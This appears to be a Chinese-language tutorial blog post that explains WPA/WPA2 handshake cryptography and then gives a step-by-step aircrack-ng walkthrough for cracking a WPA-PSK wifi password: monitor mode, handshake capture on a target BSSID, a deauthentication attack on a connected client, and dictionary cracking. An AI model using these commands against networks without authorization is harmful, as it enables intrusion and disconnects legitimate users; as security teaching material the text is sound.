1. 程式人生 > >WPA-PSK無線網路破解原理與過程

WPA-PSK無線網路破解原理與過程

宣告:本文僅供學習交流使用!

  • wifi 標準以及相應標準的特徵彙總表

    這裡寫圖片描述

  • 無線安全技術
    1) WEP(Wired Equivalent Privacy有線對等保密)
    這裡寫圖片描述
    最早的無線加密體制,由於演算法的缺陷很容易被破解。抓包獲取在資料流中明文傳輸的IV,再通過統計學方法用IV得到金鑰。

    2) WPA
    在不升級硬體的前提下,WAP使用TKIP(Temporal Key Integrity Protocol臨時金鑰整合協議) 來實現WLAN的訪問控制、金鑰管理和資料加密來增強WEP的安全性。WPA加密演算法有兩個版本。
    a) WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC


    b) WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP

    注:
    802.1x + EAP、Pre-shared Key:身份校驗演算法
    TKIP、AES:資料傳輸加密演算法
    MIC、CCMP:資料完整性校驗演算法

    802.1x + EAP (工業級的,安全要求高的地方用。需要認證伺服器)EAP 擴充套件認證協議,是一種架構,而不是具體演算法。常見的有LEAP,MD5,TTLS,TLS,PEAP,SRP,SIM,AKA 其中的TLS 和TTLS 是雙向認證模式。這種認證方式不怕網路劫持和字典攻擊。
    Pre-shared Key (家庭用的,用在安全要求低的地方。不需要伺服器)。容易被字典攻擊

  • WPA-PSK
    1) WPA的四次握手過程
    WPA 握手過程是基於802.1X 協議,使用eapol key進行封裝傳輸。
    這裡寫圖片描述
    a) AP初始化:
    使用 SSID 和passphares作為入參,通過雜湊演算法產生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

    b) 第一次握手:
    AP廣播SSID,AP_MAC(AA);
    STATION 端使用接收到的SSID,AP_MAC和passphares使用同樣演算法產生PSK。

    c) 第二次握手
    STATION 傳送一個隨機數SNonce,STATION_MAC(SA)給AP;
    AP端接收到SNonce、STATION_MAC(SA)後產生一個隨機數ANonce,然後用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF演算法產生PTK,提取這個 PTK 前16 個位元組組成一個MIC KEY。
    PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

    d) 第三次握手:
    AP傳送上面產生的ANonce給STATION
    STATION 端用接收到ANonce 和以前產生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同樣的演算法產生PTK。提取這個PTK 前16 個位元組組成一個MIC KEY使用以下演算法產生MIC值用這個MIC KEY 和一個802.1X資料幀使用以下演算法得到MIC值
    MIC = HMAC_MD5(MIC Key,16,802.1X data)

    e) 第四次握手
    STATION 傳送802.1X 資料幀,MIC給AP;STATION 端用上面那個準備好的802.1X 資料幀在最後填充上MIC值和兩個位元組的0(十六進位制)然後傳送這個資料幀到AP。
    AP端收到這個資料幀後提取這個MIC。並把這個資料幀的MIC部分都填上0(十六進位制)這時用這個802.1X資料幀,和用上面AP產生的 MIC KEY 使用同樣的演算法得出MIC’。如果MIC’等於STATION 傳送過來的MIC。那麼第四次握手成功。若不等說明則AP 和 STATION 的金鑰不相同,握手失敗了。

    2) WPA—PSK破解原理
    用我們字典中的Passphrase+SSID先生成PMK,然後結合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE計算PTK,再加上原始的報文資料算出MIC並與AP傳送的MIC比較,如果一致,那麼該PSK就是金鑰。

  • 破解過程
    環境:Kali Linux 2.0、USB無線網絡卡
    工具:Aircrack-ng

    1) 第一步:把usb網絡卡插入虛擬機器,並開啟網絡卡到監聽模式,命令如下:
    airmon-ng start ra0 (ra0為無線網絡卡名稱)

    2) 第二步:抓包檢視所在區域無線網的狀態,選擇需破解的目標網路,命令如下:
    airodump-ng ra0
    這裡寫圖片描述

    3) 第三步:抓取目標網路的握手包,命令如下:
    airodump-ng - c 1 –bssid EC:17:2F:FA:F0:CA - w /root/Desktop/ ra0

    引數解釋:-c:監聽頻道 –bssid 目標AP網路mac值 -w:儲存監聽事件的檔名
    這裡寫圖片描述

    4) 第四步:重新開啟一個terminal視窗,使用DEAUTH攻擊使已經連線的客戶端斷開並重新連線,以產生握手包。(注意:抓握手包破解必須有合法的客戶端才行)命令如下:
    aireplay-ng -0 10 -a EC:17:2F:FA:F0:CA -c DC:EE:06:1F:BB:AF ra0

    引數解釋:- 0 deauth攻擊 10:進行10次攻擊 -a:AP的MAC地址 -c:已連線該AP的客戶端MAC地址

    當獲取到握手包時會出現紅框內的資訊
    這裡寫圖片描述

    5) 第五步:通過四次握手包和字典(metasploit自帶的字典)破解密碼,命令如下:
    aircrack-ng -a2 -b EC:17:2F:FA:F0:CA -w /usr/share/metasploit-framework/data/john/
    wordlists/password.lst /root/Desktop/-01.cap

    引數解釋:-a2 WPA的方法破解握手包 -w:字典路徑 -01.cap: 第四步中抓取的握手包檔名
    這裡寫圖片描述
    破解成功!